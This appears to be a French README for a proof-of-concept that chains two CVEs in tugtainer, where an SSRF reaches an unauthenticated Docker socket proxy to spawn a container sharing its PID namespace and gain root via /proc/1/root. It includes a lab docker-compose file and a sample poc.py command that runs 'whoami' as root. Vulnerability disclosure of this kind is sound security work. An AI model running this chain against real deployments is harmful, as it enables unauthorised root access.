
Une combinaison de CVE-2026-55494 et CVE-2026-62308 pour obtenir une RCE avec privilèges root dans tugtainer.
L'obtention de la RCE se fait en abusant de 2 vulnérabilités
En bref, une vulnérabilité SSRF est abusée pour appeler un service non authentifié sur le réseau interne afin de créer un docker qui partage le même pid que tugtainer, rendant ainsi le système de fichiers du docker tugtainer accessible via /proc/1/root, et puisque le docker créé a un privilège de niveau root, vous avez techniquement un niveau root sur le système docker de tugtainer
docker-compose.yml fourni dans ce dépôt, ou copiez-collez le code suivantnetworks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py comme suit$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
pwned dans le docker tugtainer dans /tmp